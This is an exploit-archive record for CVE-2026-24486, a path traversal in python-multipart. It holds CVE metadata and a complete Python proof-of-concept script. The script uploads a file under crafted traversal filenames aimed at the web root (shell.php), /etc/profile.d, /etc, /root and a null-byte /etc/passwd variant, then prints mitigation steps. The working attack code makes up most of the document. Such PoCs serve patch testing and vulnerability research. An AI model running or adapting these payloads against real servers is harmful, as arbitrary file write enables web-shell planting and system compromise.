{"exploit":{"id":"EDB-52543","name":"Python-Multipart 0.0.22 - Path Traversal","description":"Python-Multipart 0.0.22 - Path Traversal","cves":["CVE-2026-24486"],"author":"jefersoncardoso.dev","published":"2026-04-30","platform":"python","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52543","path":"exploits/python/webapps/52543.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52543.py","vulnerabilities":[{"id":"CVE-2026-24486","state":"PUBLISHED","title":"Python-Multipart has Arbitrary File Write via Non-Default Configuration","titleSource":"CVE Program","description":"Python-Multipart is a streaming multipart parser for Python. Prior to version 0.0.22, a Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename. Users should upgrade to version 0.0.22 to receive a patch or, as a workaround, avoid using `UPLOAD_KEEP_FILENAME=True` in project configurations.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24486","cvss":{"version":"3.1","baseScore":8.6,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24486"},"updatedAt":"2026-09-16T12:04:19.486Z","retrievedAt":"2026-11-25T16:15:50.626Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52543.png?v=2","url":"https://exploitbin.com/exploits/EDB-52543","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52543/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52543/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Python-Multipart 0.0.22 - Path Traversal\n# Date: 2026-02-23\n# Exploit Author: cardosource\n# Vendor Homepage: https://github.com/Kludex/python-multipart\n# Software Link: https://pypi.org/project/python-multipart/\n# Version: < 0.0.22 (REQUIRED)\n# Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo)\n# CVE : CVE-2026-24486\n\n\"\"\"\nPoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.\nAllows arbitrary file write via malicious filename.\n\n\"\"\"\n\nimport requests\nimport time\nimport os\nimport sys\n\n\nTARGET_URL   = \"http://localhost:8000/upload\"\nSOURCE_FILE  = \"/etc/hosts\" # Small file to upload (content written to target)\n\nif not os.path.exists(SOURCE_FILE):\n    print(f\"[!] Source file not found: {SOURCE_FILE}\")\n    sys.exit(1)\n\n# Malicious filenames (payloads)\npayloads = [\n    \"/tmp/poc-abs.txt\",\n    \"/etc/poc-etc.txt\",\n    \"/root/poc-root.txt\",\n    \"../../var/www/html/shell.php\",\n    \"../../etc/profile.d/mal.sh\",\n    \"../../../tmp/poc-deep.txt\",\n    \"../../etc/passwd%00.txt\",\n    \"//etc//poc-double-slash.txt\",\n]\n\nprint(\"[*] CVE-2026-24486 PoC\")\nprint(f\"[*] Target: {TARGET_URL}\")\nprint(f\"[*] Using source file: {SOURCE_FILE}\")\nprint(f\"[*] Testing {len(payloads)} payloads...\\n\")\n\nfor i, filename in enumerate(payloads, 1):\n    print(f\"[{i}/{len(payloads)}] Testing: {filename}\")\n\n    try:\n        files = {\n            'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain')\n        }\n\n        r = requests.post(TARGET_URL, files=files, timeout=8)\n\n        print(f\"    Status: {r.status_code}\")\n        if r.text.strip():\n            print(f\"    Response: {r.text.strip()}\")\n        else:\n            print(\"    Response: (empty)\")\n\n    except Exception as e:\n        print(f\"    Error: {e}\")\n\n    print(\"-\" * 50)\n    time.sleep(1.0)\n\nprint(\"\\n[*] Done.\")\nprint(\"Verify files in container:\")\nprint(\"  docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null\")\nprint(\"\\nMitigation:\")\nprint(\"  - Upgrade: pip install python-multipart>=0.0.22\")\nprint(\"  - Avoid UPLOAD_KEEP_FILENAME=True\")\nprint(\"  - Sanitize: filename = os.path.basename(file.filename)\")","sha256":"b286bd2bb9fe211f2032210ccf0243c83fab68411ea802dfa33e7626308ae725","bytes":2166,"fetchedAt":"2026-11-26T11:17:40.226Z","encoding":"utf-8 (display only; download retains original bytes)"}